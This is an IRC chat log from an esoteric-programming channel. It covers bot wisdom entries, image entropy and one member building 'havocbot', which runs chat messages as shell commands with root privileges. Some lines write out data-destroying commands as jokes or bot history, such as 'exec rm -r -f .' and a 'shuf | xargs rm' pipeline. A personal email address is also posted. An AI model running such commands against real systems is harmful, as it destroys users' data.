05:29:19 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
05:47:59 -!- dnm has joined.
05:52:07 <shachaf> dnm: ready for another long night of not sleeping?
05:53:25 <dnm> It turned out not to be that long.
05:53:39 <dnm> Though late night booze and food did keep me awake until at least around 3:30 AM...
05:54:33 <shachaf> `? dnm
05:54:38 <HackEgo> dnm? ¯\(°​_o)/¯
05:54:57 <shachaf> `learn dnm does not mind.
05:55:05 <dnm> Hah.
05:55:16 <HackEgo> Learned 'dnm': dnm does not mind.
05:55:17 <shachaf> Or do you?
05:58:23 <dnm> I suppose not.
05:59:49 -!- halvredin has joined.
05:59:53 <dnm> Woo! I have OpenVMS licenses.
05:59:56 <dnm> Now for media.
06:12:42 <shachaf> Why are you OpenVMSing?
06:23:23 -!- sewilton has quit (Ping timeout: 250 seconds).
06:24:32 -!- dingbat has quit (Ping timeout: 260 seconds).
06:25:05 -!- ocharles has quit (Ping timeout: 260 seconds).
06:25:07 -!- incomprehensibly has quit (Ping timeout: 250 seconds).
06:25:40 -!- lynn has quit (Ping timeout: 260 seconds).
06:26:22 -!- zgrep has quit (Ping timeout: 260 seconds).
06:28:25 -!- zgrep has joined.
06:29:47 -!- incomprehensibly has joined.
06:30:27 -!- sewilton has joined.
06:32:16 -!- dingbat has joined.
06:32:29 -!- ocharles has joined.
06:34:35 -!- lynn_ has joined.
06:35:17 -!- hppavilion[1] has joined.
06:41:35 -!- lambda-11235 has quit (Quit: Bye).
06:44:42 <dnm> Fun.
06:44:46 <dnm> Certainly not profit.
06:44:56 <dnm> I want a system to hack BLISS in for no real reason.
06:46:50 <HackEgo> [wiki] [[Stack Cats]] M https://esolangs.org/w/index.php?diff=47183&oldid=47182 * Martin Ender * (+1)
06:49:53 <HackEgo> [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=47185&oldid=47157 * Martin Ender * (+17) /* S */
06:52:26 -!- Kaynato has quit (Ping timeout: 244 seconds).
07:07:16 -!- augur has quit (Remote host closed the connection).
07:12:01 <hppavilion[1]> crashsafari.com seems to have managed to troll me
07:24:59 -!- AnotherTest has joined.
07:26:58 -!- AnotherTest has quit (Client Quit).
07:35:49 -!- xkapastel has quit (Quit: Connection closed for inactivity).
07:36:11 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]).
07:49:00 -!- _bear has joined.
08:06:50 <b_jonas> oerjan: hmm, true. sorry.
08:27:39 -!- MoALTz has joined.
08:34:21 -!- dnm has quit (Ping timeout: 276 seconds).
09:08:38 -!- Frooxius has quit (Quit: *bubbles away*).
09:17:31 -!- _bear has left.
09:31:03 -!- Destructible has joined.
09:31:08 <Destructible> hiiii
09:31:47 <Destructible> anyone?
09:32:06 <Destructible> pls
09:32:32 -!- halvredin has quit (Remote host closed the connection).
09:33:07 <izabera> hi Destructible
09:33:12 <Destructible> hi
09:33:41 <Destructible> I think I should make a page for the language I thought up
09:33:57 <izabera> sure why not
09:34:01 <Destructible> Tommy Wicode
09:34:07 <Destructible> that'll be the name
09:35:51 <Destructible> I'm not very good at formatting pages though
09:35:57 <Destructible> this would be my first page
09:39:16 <Destructible> I made the description
09:39:20 <Destructible> what do now
09:39:38 <izabera> fix the spelling mistakes
09:42:24 <Destructible> what spelling mistakes
09:42:33 <Destructible> ?
09:44:48 <Destructible> ????
09:44:58 <Destructible> did you leave?
09:46:09 <Destructible> :'(
09:47:04 -!- dnm has joined.
09:48:35 <izabera> sorry i'm leaving now :P
09:48:41 <izabera> i was jk about that
09:53:45 <Destructible> ok
10:07:59 -!- Destructible has quit (Quit: Page closed).
10:08:47 -!- Destructible has joined.
10:08:54 <Destructible> back
10:09:32 <hppavilion[1]> Hm... what does a 5D cube projected into 4D projected into 3D look like?
10:16:31 -!- oerjan has quit (Quit: Pretty squeezed actually).
10:23:56 -!- Koen_ has joined.
10:26:41 <int-e> It's still an affine map... so basically it's no different than projecting to 3d in one step; it may come out sheared.
10:29:59 -!- Destructible has quit (K-Lined).
10:31:16 -!- dnm has quit (Ping timeout: 252 seconds).
10:47:27 -!- Destructible has joined.
10:47:36 -!- Destructible has quit (Client Quit).
11:17:13 -!- Akaibu has quit (Quit: Connection closed for inactivity).
11:28:07 -!- idris-bot has joined.
11:32:53 <hppavilion[1]> Huh. On a torus, the 4 color theorem becomes the 7 color theorem
11:33:18 -!- boily has joined.
11:44:47 <boily> `wisdome
11:44:50 <boily> `wisdom
11:45:22 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: wisdome: not found
11:45:22 <HackEgo> monoidal category//Monoidal categories are just 2-categories with a single object.
11:54:47 -!- Phantom_Hoover has joined.
12:04:46 -!- bender has joined.
12:08:50 -!- gamemanj has joined.
12:18:23 -!- noloveinwaikiki has joined.
12:21:42 -!- boily has quit (Quit: SCHEMATIC CHICKEN).
12:22:58 <noloveinwaikiki> Hello. I am looking for a user called ehird. He used to hang in this channel years ago. He still does? Or do you know where i can find him? Thanks for help.
12:24:44 -!- MoALTz has quit (Quit: Leaving).
12:27:41 <FireFly> Not since a couple years I think
12:27:52 <noloveinwaikiki> maybe you can give him my mail address so he can contact me: KasiaWygodna@gmail.com ..oh
12:28:03 <noloveinwaikiki> okay.
12:28:21 <noloveinwaikiki> thanks for the info.
12:29:14 <b_jonas> :-(
12:32:14 <Koen_> hmmmm
12:32:24 <Koen_> I think they meant literally a couple years
12:32:26 <Koen_> like, 2
12:41:58 <b_jonas> wtf, lua 5.3 has labels and goto? I never noticed that. great!
12:43:24 -!- j-bot has quit (Ping timeout: 250 seconds).
12:46:36 <gamemanj> *cue raptor invasion*
12:47:19 <gamemanj> ...would you like some raptors with that goto?
12:52:59 -!- Koen_ has quit (Remote host closed the connection).
12:53:15 -!- Koen_ has joined.
12:54:12 <ybden> `? raptor invasion
12:54:22 <HackEgo> raptor invasion? ¯\(°​_o)/¯
12:54:24 <ybden> `? raptor
12:54:26 <HackEgo> raptor? ¯\(°​_o)/¯
12:54:27 <ybden> `? raptors
12:54:29 <HackEgo> raptors? ¯\(°​_o)/¯
12:58:18 -!- Phantom__Hoover has joined.
12:59:03 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
13:27:26 <int-e> `` cd wisdom; grep -r 'goto language' .
13:27:38 <HackEgo> No output.
13:27:51 <ybden> `` cd wisdon; grep -r goto
13:28:13 <ybden> oops
13:28:15 <int-e> `` cd wisdom; grep -r 'go.to language' .
13:28:16 <ybden> `` cd wisdom; grep -r goto
13:28:22 -!- AnotherTest has joined.
13:28:36 <HackEgo> ​/hackenv/bin/`: line 4: cd: wisdon: No such file or directory
13:28:50 <HackEgo> No output.
13:28:50 <HackEgo> ​./forth:Since Biblical times, Forth has been the go-to language for multiplication.
13:29:26 <int-e> oh, punny.
13:30:22 <int-e> . o O ( I was hoping for something like: BASIC is the go-to language for structural programming )
13:31:25 <int-e> s/structural/structured/
13:32:26 -!- impomatic_ has joined.
13:46:40 -!- lynn_ has changed nick to lynn.
13:46:53 -!- lynn has quit (Changing host).
13:46:53 -!- lynn has joined.
13:46:53 -!- lynn has quit (Changing host).
13:46:53 -!- lynn has joined.
13:56:56 -!- xkapastel has joined.
14:07:25 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
14:08:16 -!- sheldon has joined.
14:13:36 -!- mroman has joined.
14:13:48 <mroman> What happens to entropy when you do average?
14:14:07 <mroman> For example let's say a symbol has 24bit of information
14:14:11 <mroman> and it's an integer
14:14:20 <mroman> (so there are 2^24 symbols)
14:14:31 <mroman> what's the entropy of the average of n such integers?
14:16:19 <int-e> n*24 bits... if you keep their order
14:17:13 <int-e> and more importantly, if the symbols are independent
14:37:04 <mroman> that can't be
14:37:18 <mroman> The average of 4 binary numbers (0..1)
14:37:53 <mroman> there are 16 ways
14:38:01 <mroman> 15 of those will result in a white pixel
14:38:06 <mroman> 1 will result in a black pixel
14:38:10 <mroman> at least with integer division
14:38:26 <mroman> so the entropy is 0.337
14:38:43 <mroman> if you use like if the sum >= 2 then it's 1 else 0
14:38:48 <mroman> you still have less than 1 bit of entropy
14:40:37 <mroman> a grayscale 8bit 2x2 pixel image has 32bit entropy right?
14:41:09 <mroman> assuming that every pixel is equally likely to occur
14:42:18 <mroman> if you use 4bit grayscale you have 16bit of information in a 2x2 pixel image
14:42:36 <mroman> if you take the average you should be left with 3.26bits of entropy
14:43:48 <mroman> which is weird because if you don't take the average but just the top left pixel
14:44:01 <mroman> I'd exect the resulting 1x1 pixel to have 4bits of information
14:44:03 <mroman> *expect
14:44:42 <int-e> mroman: Ah I didn't parse your question correctly.
14:44:57 <mroman> Technically the question is we have an image and we scale it down
14:45:13 <mroman> what will loose more information: doing average of 2x2 blocks or selecting top-left pixel of 2x2 blocks
14:45:36 <mroman> and we reduced that problem to "let's look at just a 2x2 pixel image"
14:45:58 <mroman> but since pixels are just integers :)
14:46:05 <mroman> rgb is just a 24bit integer
14:46:09 -!- sheldon has quit (Quit: leaving).
14:46:16 <mroman> also the assumption is that every pixel is equall likely to occur
14:46:51 <mroman> so naively we said that one pixel in a black-white image has 1 bit of information
14:47:02 <mroman> so selecting the top-left pixel of a 2x2 image will result in an image with 1 bit of information
14:47:40 <mroman> however, doing average will result in 0.337 bits (because then in the scaled down image black occurs 15 more often than white)
14:47:53 <mroman> which is due to integer rounding
14:48:22 -!- lambda-11235 has joined.
14:48:27 <mroman> so we tried it with 4bits 5bits etc
14:49:50 -!- nycs has joined.
14:50:11 <mroman> and the question is: does the average contain the same amount of information as selecting the top-left pixel
14:50:56 <mroman> it looks like for more bits the rounding stuff gets smaller and you eventually end up with the same amount of information
15:01:16 -!- noloveinwaikiki has quit (Quit: Connection closed for inactivity).
15:02:03 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
15:02:28 <int-e> well, an easy estimate is that the sum of 4 8-bit numbers contains between 8 and 10 bits of information; dividing by 4 loses up to 2 bits of information so you'll have between 6 and 8 bits left.
15:17:39 <int-e> the actual value before rounding is 9.250423023523387 bits
15:24:15 -!- Koen_ has quit (Remote host closed the connection).
15:24:21 <int-e> and the rounding loses close enough to 2 bits that you probably won't care.
15:35:01 <gamemanj> How, exactly, does 9.250423... of a bit work?
15:35:10 <gamemanj> What happens to the .250423?
15:52:34 -!- coppro has quit (Quit: leaving).
15:53:04 -!- coppro has joined.
15:55:24 <int-e> gamemanj: if you have a binary value that's on with probability 2/3 and off with probability 1/3 then that represents (about) 0.9183 bits of information... one interpretaion of that number is that if you take 10000 independent of these numbers then they can be represented using 9183 (plus a few) bits, on average.
15:55:44 <coppro> `unicode U+0130
15:55:45 <HackEgo> ​İ
15:57:30 <int-e> gamemanj: if you're mathematically minded, you could try reading the Shannon 1948 paper, it's quite nice.
15:59:28 <izabera> shannon himself forbade non mathematically minded people from reading it
15:59:34 <izabera> but now he's dead so i guess it's fine
16:00:13 <b_jonas> izabera: I haven't read the original paper, but information theory is sufficiently classic now that there are very good tertiary source textbooks and courses
16:00:26 <b_jonas> explaining the fundations
16:00:32 <b_jonas> `? goto
16:00:34 <HackEgo> goto? ¯\(°​_o)/¯
16:00:37 <b_jonas> `? gosub
16:00:38 -!- Akaibu has joined.
16:00:38 <HackEgo> gosub? ¯\(°​_o)/¯
16:02:29 <int-e> izabera: wait, "shannon himself forbade non mathematically minded people from reading it"... did he, really?
16:02:47 <b_jonas> `? shannon
16:02:49 <HackEgo> shannon? ¯\(°​_o)/¯
16:03:04 <int-e> I just wrote "mathematically minded" because it is quite formal.
16:03:23 <b_jonas> `learn Shannon forbade non mathematically minded people from reading his research papers. Taneb invented it.
16:03:26 <HackEgo> Learned 'shannon': Shannon forbade non mathematically minded people from reading his research papers. Taneb invented it.
16:03:38 <int-e> and more formal than it really needs to be if you're just interested in computing entropies.
16:03:47 -!- hppavilion[1] has joined.
16:19:00 -!- Koen_ has joined.
16:22:26 -!- augur has joined.
16:40:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
16:50:59 -!- Reece` has joined.
17:29:08 -!- jaboja has joined.
17:34:17 -!- jaboja has quit (Ping timeout: 260 seconds).
17:46:06 -!- jaboja has joined.
18:05:22 -!- hwpplayer1 has joined.
18:05:56 <impomatic_> `seen gregor
18:06:10 <HackEgo> ls: cannot access /var/irclogs/_esoteric/????-??-??.txt: No such file or directory \ not lately; try `seen gregor ever
18:06:28 <impomatic_> Hmmm... has anyone seen gregor lately?
18:07:04 -!- bender has quit (Quit: Leaving).
18:26:53 -!- Kaynato has joined.
18:26:57 -!- Koen_ has quit (Remote host closed the connection).
18:27:10 -!- bdbdbjc has joined.
18:31:36 -!- bdbdbjc has quit (Ping timeout: 250 seconds).
18:47:57 -!- jaboja has quit (Ping timeout: 276 seconds).
18:55:39 -!- kline has quit (Max SendQ exceeded).
18:57:50 -!- Koen_ has joined.
19:01:15 -!- kline has joined.
19:39:23 <b_jonas> `? with my own two hands
19:39:24 <HackEgo> with my own two hands? ¯\(°​_o)/¯
19:43:49 <int-e> are they dark and cold?
19:43:59 <b_jonas> dark, but probably nt cold
19:44:34 <b_jonas> `? house
19:44:37 <HackEgo> house? ¯\(°​_o)/¯
19:44:38 <b_jonas> `? stink
19:44:39 <HackEgo> stink? ¯\(°​_o)/¯
19:44:43 <int-e> will carlsen lose another game on time today?
19:44:56 <b_jonas> no idea
19:45:33 <shachaf> b_jonas: Why do you `? things like that?
19:46:05 <int-e> house sounds like something we might have a wisdom entry for
19:46:58 <int-e> at the very least it could allude mysteriously to http://programatica.cs.pdx.edu/House/
19:47:08 <int-e> and I'm sure there are other interesting houses
19:49:35 -!- spiette has joined.
20:05:10 -!- `^_^ has joined.
20:06:27 -!- nycs has quit (Ping timeout: 264 seconds).
20:06:36 <int-e> `` cd wisdom; echo *root*
20:06:40 <HackEgo> ​*root*
20:26:48 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
20:31:35 -!- Reece` has quit (Read error: Connection reset by peer).
20:44:30 -!- `^_^ has quit (Quit: This computer has gone to sleep).
20:45:09 -!- `^_^ has joined.
20:48:17 -!- vague_ has joined.
20:48:40 -!- vague_ has changed nick to Guest58767.
20:52:49 -!- S1 has joined.
20:52:59 -!- S1 has quit (Client Quit).
20:54:47 -!- Guest58767 has quit (Quit: Leaving).
21:11:03 -!- moon_ has joined.
21:11:09 <moon_> im offically dumping codeblocks >_>
21:11:27 <qrf> In favour of..?
21:12:18 <moon_> Eclipse C++, codeblocks's compiler is broken in every way, including missing standard library components (curse you atoi!)
21:14:12 <moon_> Eclipse needs faster mirrors >_>
21:14:42 <moon_> virtualbox, which is about the same size as eclipse C++, downloads much faster
21:16:59 -!- dnm has joined.
21:17:00 -!- Melvar has quit (Quit: WeeChat 1.4).
21:17:18 -!- Melvar has joined.
21:18:01 -!- idris-bot has quit (Ping timeout: 240 seconds).
21:19:25 <moon_> didnt esoteric use to have a forum?
21:21:37 -!- dnm has quit (Client Quit).
21:27:32 -!- mroman has quit (Ping timeout: 250 seconds).
21:30:08 -!- moon_ has quit (Ping timeout: 250 seconds).
21:31:00 -!- Kaynato has quit (Ping timeout: 246 seconds).
21:56:04 -!- jaboja has joined.
22:16:13 <b_jonas> `? `?
22:16:23 <HackEgo> ​`? ¯\(°​_o)/¯
22:16:34 <b_jonas> `learn `? is the command to query wisdom entries.
22:16:40 <HackEgo> Relearned '`': `? is the command to query wisdom entries.
22:16:41 <b_jonas> `? `?
22:16:42 <HackEgo> ​`? ¯\(°​_o)/¯
22:16:44 <b_jonas> damn
22:16:46 <shachaf> `before
22:16:47 <b_jonas> `revert
22:16:56 <shachaf> uh oh, rice condition
22:17:01 <b_jonas> sorry
22:17:22 <HackEgo> wisdom/`//` is the prefix to greatness.
22:17:25 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
22:17:29 <b_jonas> `? `
22:17:31 <HackEgo> ​` is the prefix to greatness.
22:17:34 <b_jonas> `slashlearn `?/`? is the command to query wisdom entries.
22:17:39 <HackEgo> Relearned «`?»
22:17:41 <b_jonas> `? `?
22:17:42 <HackEgo> ​`? is the command to query wisdom entries.
22:17:44 <b_jonas> `? `
22:17:46 <HackEgo> ​` is the prefix to greatness.
22:17:56 <b_jonas> wait, why relearned?
22:18:36 <b_jonas> `? vim
22:18:37 <b_jonas> `? emacs
22:18:37 <shachaf> http://codu.org/projects/hackbot/fshg/index.cgi/rev/3540a712fd40
22:18:38 <HackEgo> vim equals to approximately ccxxxxxxxxviin.
22:18:39 <HackEgo> emacs is the weird brother of nano.
22:19:04 <b_jonas> shachaf: hmm, strange
22:19:09 <b_jonas> maybe I shouldn't have replaced that?
22:19:27 <shachaf> `culprits wisdom/`?
22:19:35 <b_jonas> wasn't me
22:19:36 <HackEgo> b_jonas int-e ais523 oerjan hppavilion1_ oerjan oerjan elliott oerjan JWinslow23 JWinslow23 JWinslow23 Roujo Roujo Bike FreeFull ais523 ais523 oerjan boily boily elliott FreeFull GreyKnight GreyKnight
22:19:50 <shachaf> `1 hoag 'wisdom/`?'
22:19:58 <HackEgo> 1/3:<b_jonas> slashlearn `?/`? is the command to query wisdom entries. \ <int-e> revert accbc9c5c7ec \ <ais523> echo wisdom/* | shuf | head -n 10 | xargs rm \ <oerjan> revert \ <hppavilion1_> learn `? Woooooooooow you\'re sooooooooooooooooooooo metaaaaaaaaa- No. \ <oerjan> sed -i \'s/\xc2\xb0/\xc2\xb0\xe2\x80\x8b/\' wisdom/\'`?\' \
22:20:30 <shachaf> `spam
22:20:32 <HackEgo> 2/3:<oerjan> revert \ <elliott> revert 1 \ <oerjan> revert 3875 \ <JWinslow23> learn `? `? \ <JWinslow23> learn `? `? `? \ <JWinslow23> learn `? `? \ <Roujo> learn `? \xc2\xaf\\(\xc2\xb0_o)/\xc2\xaf \ <Roujo> learn `? is `? is `? \ <Bike> revert \ <FreeFull> for x in wisdom/*; do rev "$x" > "$x"a; mv "$x"a "$x"; done \ <ais523> reve
22:20:46 <b_jonas> ``` sed '' bin/1
22:20:47 <HackEgo> ​\` "$@" | sport
22:20:50 <FreeFull> Hi
22:21:12 <shachaf> `spam
22:21:14 <HackEgo> 3/3:rt 87c64ef250a0 \ <ais523> revert 3 \ <oerjan> revert 1934 \ <boily> rm wisdom/`? \ <boily> learn `? `? `? \ <elliott> revert 1492 \ <FreeFull> revert 4 \ <GreyKnight> echo \'See `? for further details.\' > \'wisdom/`?\' \ <GreyKnight> \'See `? for further details.\' > \'wisdom/`?\' \
22:21:17 <b_jonas> ``` sed '' bin/2
22:21:18 <HackEgo> sed: can't read bin/2: No such file or directory
22:21:54 -!- gamemanj has quit (Ping timeout: 250 seconds).
22:21:58 -!- Kaynato has joined.
22:21:59 <b_jonas> `? sed
22:22:00 <b_jonas> `? awk
22:22:01 <HackEgo> sed? ¯\(°​_o)/¯
22:22:02 <HackEgo> awk? ¯\(°​_o)/¯
22:22:24 <b_jonas> `? radio
22:22:26 <HackEgo> radio? ¯\(°​_o)/¯
22:23:08 -!- augur has quit (Remote host closed the connection).
22:24:02 -!- moon_ has joined.
22:24:03 -!- augur has joined.
22:24:48 <b_jonas> `? can't
22:24:50 <HackEgo> can't? ¯\(°​_o)/¯
22:28:26 -!- augur has quit (Ping timeout: 250 seconds).
22:29:18 <b_jonas> `learn can't is the most frequent word whose pronunciation varies between /ɑː/ and /æ/ depending on dialect. The list is: advance after answer ask aunt brass can't cast castle chance class command dance demand draft enhance example fast father glass graph grass half last laugh mask master nasty pass past path plant rather sample shan't staff task vast
22:29:23 <HackEgo> Learned 'can't': can't is the most frequent word whose pronunciation varies between /ɑː/ and /æ/ depending on dialect. The list is: advance after answer ask aunt brass can't cast castle chance class command dance demand draft enhance example fast father glass graph grass half last laugh mask master nasty pass past path plant rather sample shan't
22:29:29 <b_jonas> `? can't
22:29:30 <HackEgo> can't is the most frequent word whose pronunciation varies between /ɑː/ and /æ/ depending on dialect. The list is: advance after answer ask aunt brass can't cast castle chance class command dance demand draft enhance example fast father glass graph grass half last laugh mask master nasty pass past path plant rather sample shan't staff task vast
22:31:07 <shachaf> father?
22:31:13 <shachaf> That seems dubious.
22:32:25 <b_jonas> shachaf: dunno, some of them might be wrong
22:32:34 <b_jonas> I don't know a definitive list
22:32:49 <b_jonas> shachaf: if you know a better list, please tell me
22:33:25 <b_jonas> (these are only the more common words. there are lots of rarer ones.)
22:34:20 <shachaf> `sled wisdom/can't//s.The.A.
22:34:23 <HackEgo> wisdom/can't//can't is the most frequent word whose pronunciation varies between /ɑː/ and /æ/ depending on dialect. A list is: advance after answer ask aunt brass can't cast castle chance class command dance demand draft enhance example fast father glass graph grass half last laugh mask master nasty pass past path plant rather sample shan't staf
22:34:34 <b_jonas> shachaf: hehe, yes, good idea
22:34:55 <shachaf> sled is TG
22:35:14 <b_jonas> "TG"?
22:35:17 <shachaf> too good
22:35:22 <shachaf> I kind of want to record statistics about all commands to see which are used most often.
22:35:29 <b_jonas> `wisdom
22:35:31 <b_jonas> `? statistics
22:35:32 <b_jonas> `? politics
22:35:33 <b_jonas> `? lies
22:35:37 <shachaf> Why are you doing that?
22:35:37 <HackEgo> wisdom//wisdom is always factually accurate, except for this entry, and uh that other one? it started with like, an ø?
22:35:44 <HackEgo> statistics? ¯\(°​_o)/¯
22:35:45 <HackEgo> politics? ¯\(°​_o)/¯
22:35:45 <HackEgo> Lies are even easier than monoids. They form groups, known as Lie groups.
22:35:45 <shachaf> You know they're all going to come up not found.
22:35:51 <shachaf> Except for lies.
22:36:05 -!- moon__ has joined.
22:36:09 <moon__> im making a openbsd bot for fun, should i bring it here?
22:36:21 <b_jonas> moon__: dunno, maybe?
22:36:28 <b_jonas> depends on how annoying it is
22:36:38 <moon__> Singleline
22:36:38 <shachaf> I have a prediction.
22:36:44 <moon__> im not gonna terrorize the chat lol
22:36:49 <shachaf> That's what you do.
22:36:52 -!- moon_ has quit (Ping timeout: 250 seconds).
22:37:05 <moon__> eh true
22:37:20 <moon__> as long as the bot is not abused to do it, it should be fine
22:37:35 <b_jonas> moon__: wait, I'll help, I'll go to sleep, and while I'm away you can safely bring the bot in, I won't be terrorizing the channel with it
22:37:43 <b_jonas> just make sure you take it down again in the morning
22:37:46 <b_jonas> g'nite
22:37:48 <moon__> haha
22:37:50 <moon__> lol
22:38:48 <moon__> it has a 16 gig harddrive space and network access
22:38:51 <shachaf> `? tanebvention
22:38:53 <HackEgo> Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex.
22:39:47 <moon__> note that due to openbsd limitations, you *may* run out of space in some of the folders
22:39:56 <moon__> i.e once im done unpacking ports
22:40:47 -!- `^_^ has quit (Quit: This computer has gone to sleep).
22:42:03 <moon__> you also have 1 gb of ram, i cant give too much lol
22:42:17 <shachaf> Can you give 0?
22:42:46 <moon__> i can give less than 1 gig
22:42:49 <moon__> but im gonna be nice
22:44:04 <moon__> usr dir is a little small
22:46:29 <moon__> also, if anyone causes problems, ill be on standby to fix them (if i can) :P
22:50:27 <FreeFull> `? FreeFull
22:50:29 <HackEgo> FreeFull is either full of freedom or free of fulldom, we are not sure.
22:50:34 -!- hwpplayer1 has quit (Read error: Connection reset by peer).
22:56:10 <moon__> openbsd didnt install correctly >_>
22:56:21 <moon__> why, i dont know
22:56:24 -!- jaboja has quit (Ping timeout: 246 seconds).
22:56:57 <moon__> wait nvm
22:57:23 <moon__> nvm, just forgot to eject the install disk
23:06:07 <moon__> anyways, is there a good way to allow the irc bot to call commands over ssh?
23:14:22 <moon__> nvm
23:16:53 -!- Sgeo_ has joined.
23:17:03 <quintopia> sgello
23:38:39 <moon__> well, i have the openbsd enviorment running, but i cant figure out how to get a bash irc bot to work.
23:39:45 <Sgeo_> moon__, ii?
23:39:58 <moon__> ?
23:40:02 -!- oerjan has joined.
23:40:12 <moon__> and what is ii sgeo?
23:40:40 <Sgeo_> A tool to allow creation of IRC bots that just manipulate the filesystem
23:40:44 <Sgeo_> http://tools.suckless.org/ii/
23:41:06 <coppro> ii is wonderful
23:41:52 <oerjan> i,i ii see
23:42:54 <moon__> thanks!
23:47:27 <quintopia> that's too many i's
23:50:24 <moon__> lol
23:50:49 <moon__> to get hexbot started, for now, im gonna modify ii-bot, ill make a custom system in the future
23:59:46 <moon__> and ksh hates iibot
23:59:52 <moon__> *sigh*
2016-06-10
00:04:36 <moon__> gentoo live image anyone? virtualbox fixed the bug that it caused with some newer versions of the linux kernal
00:06:11 -!- FreeFull has quit (Quit: Rebooting).
00:07:39 -!- FreeFull has joined.
00:24:33 -!- havocbot has joined.
00:24:39 <moon__> yay
00:24:54 <moon__> ok.. just a moment
00:24:56 -!- havocbot has quit (Remote host closed the connection).
00:28:21 -!- havocbot has joined.
00:28:45 <moon__> havocbot: exec ls
00:29:40 <moon__> i apparently made a mistake
00:29:41 -!- havocbot has quit (Remote host closed the connection).
00:32:26 <moon__> let me try that again
00:32:32 -!- havocbot has joined.
00:32:51 <moon__> havocbot: exec ls
00:33:22 <moon__> i forgot to chmod +x the fake exec lol
00:33:25 -!- havocbot has quit (Remote host closed the connection).
00:33:48 -!- havocbot has joined.
00:33:53 <moon__> havocbot: exec ls
00:33:53 <havocbot> moon__:README
00:33:53 <havocbot> moon__:bashbot
00:33:53 <havocbot> moon__:bashbot.config
00:33:53 <havocbot> moon__:bashbot.pid
00:33:53 <havocbot> moon__:commands
00:33:54 <havocbot> moon__:filters
00:34:05 <moon__> I should shorten that
00:34:27 <moon__> back to the drawing board, unless you guys want to use it
00:34:32 <moon__> havocbot: cd
00:34:37 <moon__> havocbot: exec cd
00:35:26 -!- havocbot has quit (Remote host closed the connection).
00:37:50 <moon__> lets try again
00:37:53 -!- havocbot has joined.
00:37:59 <moon__> havocbot: ls
00:38:05 <moon__> havocbot: exec ls
00:38:41 <moon__> this time i failed at sed
00:38:44 -!- havocbot has quit (Remote host closed the connection).
00:39:29 -!- havocbot has joined.
00:39:34 <moon__> havocbot: ls
00:39:38 <moon__> havocbot: exec ls
00:39:38 <havocbot> moon__:README:bashbot:bashbot.config:bashbot.pid:commands:filters
00:39:43 <moon__> i keep making that mistake, and yay
00:40:11 <moon__> ok, im gonna leave you guys in the home directory, have fun with root privs :P
00:40:14 -!- havocbot has quit (Remote host closed the connection).
00:41:03 -!- havocbot has joined.
00:41:12 <moon__> actually, i think the chat is dead?
00:41:34 -!- spiette has quit (Ping timeout: 252 seconds).
00:41:35 <moon__> chat's dead oerjan
00:42:03 <moon__> damn tab
00:42:08 <oerjan> BRAINS
00:42:12 <moon__> oh hi
00:42:20 <moon__> what do you think of havocbot so far?
00:42:34 <oerjan> sorry, i've been otherwise occupied.
00:42:58 <moon__> havocbot: mkdir src #lets see if it cares about comments
00:43:15 <moon__> havocbot: exec mkdir src #lets see if it cares about comments
00:43:20 <moon__> i keep forgetting the exec
00:43:57 <moon__> i think i broke something again by cding out, i forgot to make it knows its own path
00:44:00 -!- havocbot has quit (Remote host closed the connection).
00:46:16 <oerjan> moon__: there does indeed seem to be a lot of havoc
00:46:23 -!- MDude has joined.
00:46:45 <moon__> lol
00:46:46 -!- havocbot has joined.
00:46:57 <moon__> havocbot: exec ls
00:47:19 <moon__> annnd i forgot something AGAIN
00:47:21 -!- havocbot has quit (Remote host closed the connection).
00:48:14 <oerjan> does it support exec rm -r . yet
00:48:21 <oerjan> vital command
00:48:38 <oerjan> sorry, exec rm -r -f .
00:48:59 -!- havocbot has joined.
00:52:28 <quintopia> does it support me
00:52:42 <oerjan> exec quintopia
00:52:47 <oerjan> havocbot: exec quintopia
00:53:05 <oerjan> looks doubtful
00:53:17 <quintopia> exec /bin/quintopia
00:53:30 <quintopia> exec /bin/oerjan
00:53:41 <quintopia> yep clearly this bot was not written with us in mind
00:53:51 <oerjan> i think the havocbot: is obligatory
00:54:01 <quintopia> havocbot: exec /bin/oerjan
00:54:08 <quintopia> havocbot: exec /bin/quintopia
00:54:36 <quintopia> havocbot: don't do anything
00:54:48 <oerjan> success!
00:55:05 <oerjan> havocbot: exec ls fnord
00:55:13 <oerjan> havocbot: exec ls
00:55:27 <oerjan> ok that command was supposed to work
00:55:47 <quintopia> havocbot: prod moon__ into explaining why you don't work
00:56:41 <quintopia> hmm could have sworn that one would work
00:56:56 <oerjan> you'd think.
00:57:19 <oerjan> pingout in 3,2,..
00:57:22 <quintopia> well. it doesn't ping out. that's something
00:58:21 -!- Kaynato has quit (Ping timeout: 250 seconds).
00:58:48 <quintopia> i think we should name the bot simon and have the command string be simon says
00:59:08 <oerjan> okay
00:59:27 <oerjan> except that's illogical.
00:59:44 <oerjan> it's not simon that performs the command, usually
01:02:25 <quintopia> figured you nitpick that
01:02:54 <quintopia> as if the commmander and commandee can't have the same name
01:05:02 <oerjan> in that case, it should be Bruce hth
01:05:54 <quintopia> hey! don't bring me down!
01:06:17 <moon__> .... il look at the logs
01:06:24 <moon__> i see what happened
01:06:30 <moon__> you made him crash
01:06:32 -!- havocbot has quit (Remote host closed the connection).
01:06:52 -!- havocbot has joined.
01:06:56 <moon__> aka you broke it
01:07:06 <quintopia> that shouldnt be possible
01:07:14 <moon__> its in bash
01:07:14 <quintopia> also bruce is actually a better name
01:07:17 <moon__> so yea
01:07:38 <moon__> also, due to lazyness, the 'exec' command actually just uses 'exec'
01:07:48 <moon__> i might make it use commands from 'bin' later.
01:08:06 <moon__> aka extend its command librayr
01:08:13 <moon__> *library
01:08:21 <moon__> so it doesnt just exec them
01:08:26 <moon__> `exec ls
